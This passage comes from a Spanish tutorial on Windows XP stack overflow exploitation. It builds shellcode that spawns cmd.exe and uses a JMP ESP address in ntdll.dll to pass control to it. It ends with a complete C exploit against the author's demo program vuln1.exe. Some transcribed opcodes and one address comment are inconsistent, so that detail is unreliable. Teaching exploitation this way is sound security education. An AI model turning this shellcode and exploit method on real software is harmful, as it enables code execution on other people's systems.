debería ser la dirección de la llamada a ExitProcess(), pero que en este caso es

41414141 porque la hemos sobrescrito.

La CPU tratara de ejecutar lo que haya en 41414141, que esta fuera del segmento

de usuario, y petara :)

Un bonito overflow de pila, normal y corriente :)

-== ¿PARA QUE NOS SIRVE UN STACK OVERFLOW? ==-

¿Bien, y todo esto para que nos sirve?

Page 25: Exploits y stack overflows en windows 2017

Bueno, y ¿si hubiéramos sobrescrito la dirección del retorno de main con la

dirección de un código que nos fuera provechoso? Ese código provechoso es

nuestra shellcode :)

Si conseguimos que el programa salte a donde nosotros queramos, donde este

nuestra shellcode, podremos ejecutar CUALQUIER código (funciones, etc...

cualquier cosa, aunque mientras mas complicada, mas grande será la shellcode,

y hay que tener en cuenta el tamaño del buffer...). Una shellcode puede ejecutar

cualquier cosa, tanto en Windows, como en Linux y derivados.

Y donde metemos nuestra shellcode???? (ahora lo veremos) Y mas importante aun...

¿COMO LA HACEMOS?

Una shellcode se hace en ensamblador, en ASM. No es tan difícil como parece :)

Tratare de explicar como codear una pequeña y simple shellcode que ejecute una

shell cmd.

Bien, antes de nada, aquí es más que recomendable tener el Visual C++ 6.0.

Básicamente, lo que queremos es convertir esta función C, en un código ASM, y

posteriormente, ese código convertirlo en hexadecimal, y pasárselo al programa

como parámetro, pero ya entraremos en eso.

system ("cmd.exe"); // ejecuta el comando "cmd.exe", con lo que sale una shell

MSDOS.

También podíamos haber usado WinExec() en vez de system, o incluso

CreateProcess() eso se lo dejamos a cada uno que pruebe :)

Bien, como ya he dicho, llamar a system, como una función cualquiera, en ASM,

Page 26: Exploits y stack overflows en windows 2017

seria así:

push 0 --> en realidad, system se llama así: system("cmd.exe0"), con un null

(0) para delimitar el final de la cadena "cmd.exe"

push dirección_cadena_cmd --> system realmente se llama así: system(dirección

del comando)

call system --> offset de system en la msvcrt.dll

Bien, tenemos que conseguir 3 cosas:

1º- Meter un NULO (NULL -> 0x00, 0) en la pila, para delimitar el fin de cadena

de cmd.exe--> "cmd.exe\00". Esto nos puede acarrear problemas con strcpy, si

strcpy detecta un 0 en una cadena, deja de copiar el resto de la cadena.

Cualquier función que trabaje con cadenas, un 0, un 0x00, un \x00 lo interpreta

como fin de cadena (aunque luego haya mas cosas, las ignora)

2º- Necesitamos meter "cmd.exe" en la pila (push 'c', push 'm', push 'd', push

'.', etc...), y luego saber su dirección en la propia pila, para pasársela a

System() como argumento.

3º- Necesitamos la dirección de la función System() en la DLL msvcrt.dll

Así que iremos punto por punto para hacer nuestra shellcode básica :)

-== COMO HACER UNA SHELLCODE BASICA ==-

1º El tema del nulo (null)

Pongamos este ejemplo, en codigo C:

Page 27: Exploits y stack overflows en windows 2017

char buffer[10]; //declaramos un array de 10bytes

char cadena[10]= "lola\0wop"; //declaramos otro que contiene ese string.

strcpy (buffer, cadena) // copiamos cadena dentro de buffer.

Strcpy() solo copiara "lola" en buffer, ya que ha detectado un \0 (NULL), que

significa FIN DE CADENA.

Así que no puede haber nulos en la shellcode (0x00), ni, opcionalmente, retornos

de carro (0x0D), así como "mas cosas" según lo que acepte el programa

vulnerable. Un programa que tiene un overflow al abrir un archivo de Windows

muy largo tendrá la dificultad que la shellcode no podrá contener caracteres que

Windows no permite en los nombres de fichero, por ejemplo.

¿Como la hacemos para que no haya nulos en los opcodes, pero si en la pila?

Muy fácil, usando la función XOR (OR exclusivo).

Cuando a un valor se le hace un XOR consigo mismo, da 0. Si quereis mas

información sobre XOR (y sus diversas funciones respecto a una shellcode, muy

interesantes, como al encriptación XOR que se empezo a usar en virus...) google

:)

xor edi,edi <-- He usado EDI por ejemplo... EDI será igual a 00000000.

push edi <--- Metemos 00000000 en la pila

Ya tenemos un "0" en la pila, pero los opcodes de XOR EDI, EDI y PUSH EDI en

hexadecimal no contienen ningún 0 en hexadecimal, perfecto :)

2º- Necesitamos meter "cmd.exe" en la pila y saber la dirección del inicio de la

Page 28: Exploits y stack overflows en windows 2017

cadena "cmd.exe" en la pila.

sub esp,04h <--- "sustrae" a ESP 04h bytes, con lo que apuntara "mas arriba",

dejándonos 4bytes mas para meter cmd.exe (ya teniamos 4bytes, ahora 8bytes)

mov byte ptr [ebp-08h],63h <-- Mete 'c' en hexadecimal en ebp-8bytes

mov byte ptr [ebp-07h],6Dh <-- Mete 'm' en ebp -7

mov byte ptr [ebp-06h],64h <-- Mete 'd' en ebp -6

mov byte ptr [ebp-05h],2Eh <-- Mete '.' en ebp -5

mov byte ptr [ebp-04h],65h <-- Mete 'e' en ebp -4

mov byte ptr [ebp-03h],78h <-- Mete 'x' en ebp -3

mov byte ptr [ebp-02h],65h <-- Mete 'e' en ebp -2

lea eax,[ebp-08h] <--- cargamos en eax, la dirección (NO el valor) de ebp-08,

que apunta a nuestra 'c', el inicio de cmd.exe

push eax <-- Metemos la dirección de 'cmd.exe' en la pila

Utilizamos direcciones "relativas" como ebp-7bytes, para que la shellcode sea

bastante reutilizable. Las direcciones de la pila son muy variables, con lo que

no conviene usar direcciones absolutas. De todas formas, alguna dirección

absoluta usamos :P Ya lo veremos.....

Ya están la cadena cmd.exe\00 en la pila, solo necesitamos la dirección de system()

3º- dirección de System() en la DLL msvcrt.dll

Esta dirección (u offset) variara debido a la versión (Win2k, Win XP, etc..) así

como a los service packs instalados, lenguaje del SO y cualquier otra cosa que

modifique las DLLs del sistema (puede ocurrir que dos personas tengan el

mismo SO, los mismos SPs, el mismo lenguaje, etc... y las DLLs sean distintas).

Se puede crear una shellcode (no es muy difícil, hay varios métodos) que no se

Page 29: Exploits y stack overflows en windows 2017

sirva de ninguna dirección "harcodeada" (es decir, dirección fija) pero no

lo trataremos aquí ya que esto se alargaría bastante, además de que solo

tratamos de crear una shellcode simple y que funcione. De todas formas, saber

que la dirección de system (y de cualquier otra API) se puede sacar en tiempo de

ejecución, haciendo la shellcode completamente universal.

Se puede buscar dicho offset de system() "a mano" con un debugger, simplemente

creando por ejemplo un código C donde se llame a system() y luego en el

debugger, ver a donde apunta el Call msvcrt.system.

Pero, como soy vago :) He medio codeado un mini programa que te dice el offset

de cualquier función en cualquier dll.

Lo podéis encontrar aquí:

http://foro.elhacker.net/index.php/topic,56137.0.html

Pero por si no lo queréis buscar, os pongo el código C:

#include <stdio.h>

#include <windows.h>

typedef VOID (*MYPROC)(LPTSTR);

int main (int argc, char **argv) {

char dll[100];

char función[100];

HINSTANCE libreria;

MYPROC procadd;

printf ("Busca offsets xDD. Introduce como primer argumento el nombre de la

DLL,\n");

Page 30: Exploits y stack overflows en windows 2017

printf ("y como segundo argumento la función dentro de esa DLL\n");

printf ("Por ejemplo %s msvcrt.dll system\n\n", argv[0]);

if (argc != 3){

printf ("Introduce 2 argumentos como se explica mas arriba!!!\n");

return 1;

}

memset(dll,0,sizeof(dll));

memset(funcion,0,sizeof(funcion));

memcpy (dll, argv[1], strlen(argv[1]));

memcpy (funcion, argv[2], strlen(argv[2]));

libreria = LoadLibrary(dll);

procadd = (MYPROC)GetProcAddress (libreria,funcion);

printf ("Offset de %s en la DLL %s es %x", funcion, dll, procadd);

return 0;

}

Ojo, después de codearlo, me dado cuenta que hay varios códigos por ahí que

hacen lo mismo, además de que cualquier programador que haya trabajado con APIs

de Windows, sabe hacer este código. Simplemente me lo he codeado, por codear

xDDD.

Al lio, una vez sacado el offset, en un Windows XP SP1 es 77bf8044. Ya tenemos

el offset :)

Page 31: Exploits y stack overflows en windows 2017

mov ebx,0x77bf8044 <-- Metemos en ebx el valor del offset de system, en un Win

XP SP1 es 77bf8044

call ebx <-- Llamamos a system y ejecuta nuestra shellcode :)

Nota: no se puede hacer directamente un call 0x77bf8044, hay que guardarlo en un

registro, y luego llamar al registro.

Veamos el código completo de la shellcode, dentro de un código C. Lo metemos en

un código C para poder probarlo (en vez de buscar un compilador como NASM o

TASM) ya que es mas "fácil". Además, tenemos que "cargar" la librería

msvcrt.dll en este mini programita, ya que nos valemos de ella para llamar a

system. Si no la cargáramos, al tratar de ejecutar la shellcode, como msvcrt.dll

no esta en la tabla de importaciones del ejecutable, no la podríamos usar.

Normalmente, los programas vulnerables que "petemos" cargaran numerosas

librerías, con lo que nos podremos valer de ellas.

Y aunque no cargaran ninguna, tiene que cargar por fuerza kernel32.dll y

ntdll.dll (las cargan todos los ejecutables), y a través de kernel32.dll podemos

buscar los offsets de LoadLibrary (para cargar la librería DLL que queramos) así

como GetProcAddress(para saber la dirección de la función o API dentro de la

librería cargada).Todo esto a través de la shellcode, así es como se realizan

las shellcodes "universales". Pero eso se sale de una shellcode "simple", así

que no lo trataremos.

Bien, este es el código C:

#include <stdio.h>

#include <windows.h>

int main () {

Page 32: Exploits y stack overflows en windows 2017

LoadLibrary("msvcrt.dll");

__asm{

push ebp

mov ebp,esp

xor edi,edi

push edi

sub esp,04h

mov byte ptr [ebp-08h],63h

mov byte ptr [ebp-07h],6Dh

mov byte ptr [ebp-06h],64h

mov byte ptr [ebp-05h],2Eh

mov byte ptr [ebp-04h],65h

mov byte ptr [ebp-03h],78h

mov byte ptr [ebp-02h],65h

lea eax,[ebp-08h]

push eax

mov ebx,0x77bf8044

call ebx

}

}

Este código NO FUNCIONA en el compilador Dev Cpp, ya que Dev Cpp trabaja con ASM

AT&T, mucho mas complicado y coñazo (para mi), lo tendréis que compilar en

VISUAL C++ o otro equivalente que trabaje con ASM Intelx86.

Las instrucciones:

push ebp

mov ebp,esp

Page 33: Exploits y stack overflows en windows 2017

Sirven para "crear" y mantener un espacio en la pila para nuestras variables. En

este caso es necesario, pero es más que probable que en un exploit "real" no lo

necesitemos, ya que el programa que tratemos de explotar tendrá la pila

lista para introducir nuestra shellcode. Lo único que hace es salvar el ebp

actual, y crear una nueva "pila" al mover el valor de esp en ebp.

Si lo compilamos, y ejecutamos el exe, veremos que el programa funciona :) Sale

una shell MSDOS.

Bien, pero ¿como "metemos" esta shellcode en el programa vulnerable?

A través de sus opcodes hexadecimales, la "conversión" de instrucción ASM a

hexadecimal. Esto ya lo vimos al meter en el olly el programita vuln1.exe:

004012CD |. 68 80124000 PUSH vuln1.00401280 ; /format =

"Introduzca un argumento al programa"

004012D2 |. E8 79170000 CALL <JMP.&msvcrt.printf> ; \printf

004012D7 |. 83C4 10 ADD ESP,10

004012DA |. EB 17 JMP SHORT vuln1.004012F3

004012DC |> 83EC 08 SUB ESP,8

004012DF |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]

004012E2 |. 83C0 04 ADD EAX,4

004012E5 |. FF30 PUSH DWORD PTR DS:[EAX] ; /src

004012E7 |. 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; |

004012EA |. 50 PUSH EAX ; |dest

004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; \strcpy

004012F0 |. 83C4 10 ADD ESP,10

Por ejemplo, veis que el "opcode" de un PUSH EAX es '50', o que el de un SUB

ESP,8 es '83EC 08'.

Page 34: Exploits y stack overflows en windows 2017

Para ver los opcodes de nuestra shellcode hay varios métodos, pero vamos, lo mas

fácil es meterla en el Olly, y verlos directamente, y copiarlos en una libreta

(al menos así lo hago yo con shellcodes cortas :P). Se explican en numerosos

documentos (entre ellos, en documentos de ezines españolas muy recomendables de

leer..., por ejemplo en uno de RaiSe de Net-Search) como hacer programitas que

lean los opcodes, y te los printeen por pantalla ordenaditos y tal, pero yo

lo haré a mano :)

Obviamente, todo lo que "sale" por el olly no es nuestra shellcode, son

instrucciones que añade el compilador para que funcione perfectamente,

compatibilidad msdos, control básico de errores, etc..... Si queremos buscar

nuestra shellcode dentro del ejecutable, podemos hacerlo de varias maneras...

Yo la que he usado, mas cómoda, es mirar la tabla de string references, la tabla

donde se guardan las cadenas de texto y ver donde esta "msvcrt.dll" (es una

cadena de texto introducida por nosotros en el programa), clickear 2 veces, y me

lleva directamente al código del LoadLibrary ("msvcrt.dll"). Para ver las string

references, clik botón derecho, Search for -> All refenced strings. Abajo del

todo (en mi caso) estaba msvcrt.dll.

También podemos hacerlo buscando una instrucción de nuestra shellcode (por

ejemplo, 83EC 04, SUB ESP,4) o simplemente corriendo el programa paso a paso

(algo lento :P).

Bueno, vamos al código (al hacer lo de string references):

0040B4DA |. 68 3CFF4100 PUSH OFFSET pruebash.??_C@_0L@CMOK@msvcr>; /FileName

= "msvcrt.dll"

0040B4DF |. FF15 5C414200 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>;

\LoadLibraryA

Page 35: Exploits y stack overflows en windows 2017

0040B4E5 |. 3BF4 CMP ESI,ESP

0040B4E7 |. E8 845BFFFF CALL pruebash.__chkesp

0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra

shellcode

0040B4ED |. 8BEC MOV EBP,ESP

0040B4EF |. 33FF XOR EDI,EDI

0040B4F1 |. 57 PUSH EDI

0040B4F2 |. 83EC 04 SUB ESP,4

0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63

0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D

0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64

0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E

0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65

0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78

0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65

0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]

0040B514 |. 50 PUSH EAX

0040B515 |. BB 4480BF77 MOV EBX,77BF8044

0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode

0040B51C |. 5F POP EDI

0040B51D |. 5E POP ESI

0040B51E |. 5B POP EBX

0040B51F |. 83C4 40 ADD ESP,40

0040B522 |. 3BEC CMP EBP,ESP

0040B524 |. E8 475BFFFF CALL pruebash.__chkesp

0040B529 |. 8BE5 MOV ESP,EBP

0040B52B |. 5D POP EBP

0040B52C \. C3 RETN

Page 36: Exploits y stack overflows en windows 2017

"Caemos" justo arriba, en FileName=msvcrt.dll. Y ya vemos nuestra shellcode, y

vemos que el compilador ha añadido instrucciones por debajo y por arriba (lo

dicho, compatibilidad, control de excepciones, salida del programa, etc..),

pero no nos importa. Aquí esta la shellcode:

0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra shellcode

0040B4ED |. 8BEC MOV EBP,ESP

0040B4EF |. 33FF XOR EDI,EDI

0040B4F1 |. 57 PUSH EDI

0040B4F2 |. 83EC 04 SUB ESP,4

0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63

0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D

0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64

0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E

0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65

0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78

0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65

0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]

0040B514 |. 50 PUSH EAX

0040B515 |. BB 4480BF77 MOV EBX,77BF8044

0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode

Y vemos los opcodes, los copiamos a una libreta a mano, o un Copy-Paste a un

archivo de texto, o usamos algun programa que nos la printee por pantalla.

Deberíamos tener algo así:

55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF

D3

Estos son los opcodes. Si os fijáis, veréis que esta la dirección del offset de

Page 37: Exploits y stack overflows en windows 2017

System() (77BF8044) pero AL REVES.

Esto es debido a que la arquitectura de nuestros Intelx86 o derivados (AMD,

etc...) es LITTLE ENDIAN. A no ser que dispongamos de un Alpha o un Sparc en

casa, nos manejaremos en Little Endian a la hora de direcciones y offsets.

Simplemente, para no enrollarme, al meter un offset, lo tenéis que meter "al

revés". Si queréis mas información, google -> little endian :)

Bien, tenemos los opcodes de nuestra shellcode :). Sabemos que por ejemplo A =

41h (41 hexadecimal, si fuera 41d, seria 41 en decimal), con lo que un 50h = P o

6Dh = m, pero hay otros que están fuera de la tabla ASCII, y además, meter así

los opcodes es un coñazo, y que nadie lo hace xD.

Pero... ¿como sabemos la dirección del inicio de la shellcode para poder

sobrescribir EIP con su valor? ¿Como haremos para que el programa funcione

siempre si las direcciones de la pila varían? ¿Y como le pasamos al programa

vulnerable la shellcode?

-== CREANDO EL EXPLOIT ==-

Vamos a crear el exploit :)

- ¿Como sabemos la dirección del inicio de la shellcode para sobrescribir EIP

con su valor?

Para saber donde sobrescribimos EXACTAMENTE EIP, es decir, donde meter la

dirección de la shellcode, usaremos una técnica especial xDDDD. En vez de mandar

al programa AAAAAAAAAAAAAAAs... a mogollón, le mandaremos

AAAABBBBCCCCDDDD....

Así sabremos donde exactamente sobrescribe el RET, para así poder cambiarlo por

la dirección de la shellcode.

Page 38: Exploits y stack overflows en windows 2017

Si le metemos al programa esto (a través del Olly, Arguments) AAABBBBCCCCDDDD...

Veremos que peta exactamente en 54545454, es decir, en TTTT. Ya sabemos dentro

del buffer, donde debe ir la dirección de la shellcode que "cojera" EIP y

ejecutara nuestra shellcode.

- ¿Como haremos que el programa funcione siempre si las direcciones de la pila

varían?

Si metiéramos directamente la dirección de la shellcode en la pila (una

dirección del tipo 0022XXXX), tendríamos 2 problemas:

La pila cambia muchísimo según las aplicaciones que estén en ejecución, y mas

aun cambiara en otros sistemas, con lo que no funcionara salvo en nuestro propio

ordenador.

Y el otro problema, es que en la pila las direcciones contienen un 00 -->

0022XXXX (a diferencia de Linux) con lo que no podemos hardcodear la dirección

de la pila.

Pero si habéis visto lo anterior, la prueba de AAAABBBBCCCCDDDD... (hacedlo de

nuevo), fijaos en la pila cuando se produce la excepción:

0022FF74 54545454 <- EIP ha tratado de ejecutar lo que hay en la dirección

54545454 (EIP = 54545454)

0022FF78 55555555 <- ESP= 0022FF78

0022FF7C 56565656

Si os fijáis, EIP ha cogido el valor de 54545454, pero ESP apunta a 55555555.

¿No os da una idea?

Si consiguiéramos que EIP "saltara" a una dirección de memoria que contuviera un

Page 39: Exploits y stack overflows en windows 2017

JMP ESP (salto a ESP) o un CALL ESP (llamada a ESP) y en vez de tener 55555555

tuviéramos los opcodes de nuestra shellcode, SE EJECUTARIA NUESTRA SHELLCODE!!!!

Vamos paso a paso :)

En vez de 54545454 hay una dirección de una instrucción de un JMP ESP. EIP

cogería esa dirección, ejecutaría el JMP ESP, y "caería" donde apunta ESP, es

decir, en 55555555, que lo cambiaríamos por nuestra shellcode, por lo que se

ejecutaría.

Y como buscamos una dirección de un JMP ESP o un CALL ESP? En una DLL que cargue

el programa vulnerable, con FINDJMP, un programita realmente útil. Dicho

programita, buscara en la DLL que le digamos, instrucciones referidas al

registro que queramos. El findjmp lo encontrareis en el foro de elhacker.net :)

Por ejemplo, como ya he dicho, todo programa ejecutable carga kernel32.dll y

ntdll.dll, aunque también podríamos usar cualquier librería que cargara el

programa ejecutable (para ver eso, podemos cargar el programa vulnerable en el

Ollydbg, y ver los EXECUTABLE MODULES, y ahí vienen las DLLs que carga).

Si usáramos el findjmp así:

Microsoft Windows XP [Versión 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos>findjmp kernel32.dll esp

Scanning kernel32.dll for code useable with the esp register

0x77E81941 call esp

Finished Scanning kernel32.dll for code useable with the esp register

Page 40: Exploits y stack overflows en windows 2017

Found 1 usable addresses

Vemos que solo hay una instrucción que use el registro ESP, y es un CALL ESP,

preferimos mejor un JMP ESP (un call siempre guarda en la pila, como ya dije, su

instrucción anterior, y eso nos puede fastidiar la shellcode....).

Mejor buscamos un JMP ESP:

Microsoft Windows XP [Versión 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos>findjmp ntdll.dll esp

Scanning ntdll.dll for code useable with the esp register

0x77F7AC16 call esp

0x77F8980F jmp esp

Finished Scanning ntdll.dll for code useable with the esp register

Found 2 usable addresses

Ya tenemos un JMP ESP en la librería ntdll.dll, en el offset 0x77F8980F.

Esto es en mi Windows XP SP1, el offset cambiara según versiones del Windows,

SP, lenguajes...

En Linux no se hace así, no se llama a un JMP ESP, si no que se usa, en la forma

BÁSICA de explotación, NOPs (instrucciones ASM que NO EJECUTAN NADA, simplemente

pasan a la siguiente instrucción), offsets aproximados de direcciones de la

pila, y un bruteforce... Eso, si hay ganas, se hará otro manual, pero para

explotación en sistemas Linux si que hay mucha mas documentación, y en español

incluso.

- Como le pasamos al programa la shellcode

Page 41: Exploits y stack overflows en windows 2017

Ya tenemos la dirección del JMP ESP, es decir, sabemos con que valor tenemos que

sobrescribir el RET para que se ejecute el programa. Solo nos queda precisamente

enviarle al programa vulnerable AAAABBBB...SSSS (para llenar el buffer)

+ offset JMP ESP + shellcode.

¿Como lo hacemos?

El programa vulnerable recibe los datos que hacen el overflow a través de la

línea de comandos, de sus argumentos.

Podríamos pasarle la shellcode en caracteres printeables por los argumentos,

pero eso es un coñazo, porque primero tendríamos que convertir esos opcodes a su

equivalente en la tabla ASCII (algunos no están :P) y luego copy paste... no no,

mejor que no.

Mejor nos codeamos un "exploit" en C, que llamara al programa pasándole los

datos de la shellcode por parámetro, así nos libramos de convertir los opcodes.

De todas formas, en el programa incluiré un printf() para que veáis como son.

/* exploit_vuln1.c por Rojodos */

#include <stdio.h> // Entrada/Salida

#include <stdlib.h> // execv()

int main (int argc,char **argv) { //Declaramos argv para usarlo con el execv

char

evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM

MNNNN"

"OOOOPPPPQQQQRRRRSSSS"; //Para llegar el buffer y llegar al ret

char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"

Page 42: Exploits y stack overflows en windows 2017

"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD"

"\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";

//Shellcode que ejecuta system("cmd.exe"), con la llamada a system

harcodeada

//en \x44\x80\xBF\x77 0x77BF9044

char offset[]="\x0F\x98\xF8\x77"; // Offset jmp esp ntdll32.dll WinXP SP1

Esp

strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp

strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la

shellcode

printf ("Cadena + offset + shellcode en formato printable\n\n");

printf ("%s", evilbuffer);

argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1

argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de

vuln1

argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos

execv ("vuln1.exe",argv); //Ejecutamos vuln1.exe pasándole evilbuffer como

argumento

}

Nota para los programadores :P Tendría que haber creado una estructura de

punteros para usarlo en el execv, pero me he valido de argv[] para no marear las

cosas, por simplicidad. Espero que no me cuelgen por eso :P

Page 43: Exploits y stack overflows en windows 2017

Este exploit compila perfectamente en Dev Cpp, y *debería* compilar en cualquier

otro compilador de Windows (y de Linux). La única función que podría dar

problemas es execv, pero en teoría es compatible con Windows, no creo

que haya ningún problema. No lo he probado en más compiladores.

Al compilarlo, y crear exploit_vuln1.exe, si lo ejecutamos, saltara una shell

MSDOS :)

Hemos explotado con éxito el programa vuln1.exe, a través del programa

exploit_vuln1.exe. :P

Espero que os haya gustado el documento, y que os ayude a, primero, entender los

stack overflows, y luego, a crear vuestros propios exploits básicos. La mejor

forma de aprender, aparte de leer docs y mas docs, es programando, programando y

mas programando :)

Los dos exploits públicos que he escrito, el del Winamp 5.08 Stack Overflow y el

de Acrobat Reader 6.0.1 Stack Overflow están basados en este documento.

Cualquiera que lea y comprenda este documento, podría haber creado dichos

exploits. Así que como veis, no tiene ningún misterio :)

No dejéis de practicar, y cualquier pregunta será mejor que recibida en el foro

de elhacker.net.

-== DOCUMENTACION ==-

Documentos importantes mucho mejor redactados y completos que el mío :P

(exploits y stack overflows en Windows o shellcoding en general). Hay MUCHOS

más, pero estos son los que he considerado importantes :)

Page 44: Exploits y stack overflows en windows 2017

Gran Recopilación de textos sobre el tema, por Griph:

http://foro.elhacker.net/index.php/topic,49765.0.html

Phrack. Win32 Buffer Overflows

http://www.phrack.org/phrack/55/P55-15

Phrack. Avances en Windows Shellcoding

http://www.phrack.org/phrack/62/p62-0x07_Advances_in_Windows_Shellcode.txt

NetSearch. Shellcodes + Overflows Win32 (1)

http://www.hackemate.com.ar/ezines/netsearch/ns007/ns7-0x03.txt

NetSearch. Shellcodes + Overflows Win32 (2)

http://www.hackemate.com.ar/ezines/netsearch/ns007/ns7-0x04.txt

Introducción al shellcoding (Linux)

http://tigerteam.se/dl/papers/intro_to_shellcoding.pdf

Lastima de Phrack :(

Y por supuesto, buscar tanto por la web como por el foro de elhacker.net :)

Y si no, google!

-== AGRADECIMIENTOS ==-

Hecho para el foro de elhacker.net :)

http://foro.elhacker.net

Page 45: Exploits y stack overflows en windows 2017

Aún así, se permite la distribución del texto en cualquier sitio web, pero

haciendo referencia en los créditos al autor, en este caso, yo, Rojodos.

Agradecimientos a todos los colaboradores y moderadores, y al administrador,

aprendiendo cada día de ellos :)

A todos los españoles que colaboran en la seguridad y el hacking, a NetSearch,

7a69, SET, 29A, Cyruxnet, Hackxcrack, y a cualquier persona en el mundo que se

interese y escriba sobre la seguridad informática, que nos aporte lo que ha

aprendido e investigado :)

Abstracto es mas tonto de lo que aparenta, que ya es decir xDDDDDDDDDDDDDD (no

podía dejar de ponerlo xDD)

Y a ELLA, Ishtar :)

Rojodos - rojodos2[at]yahoo[dot]es

_EOF_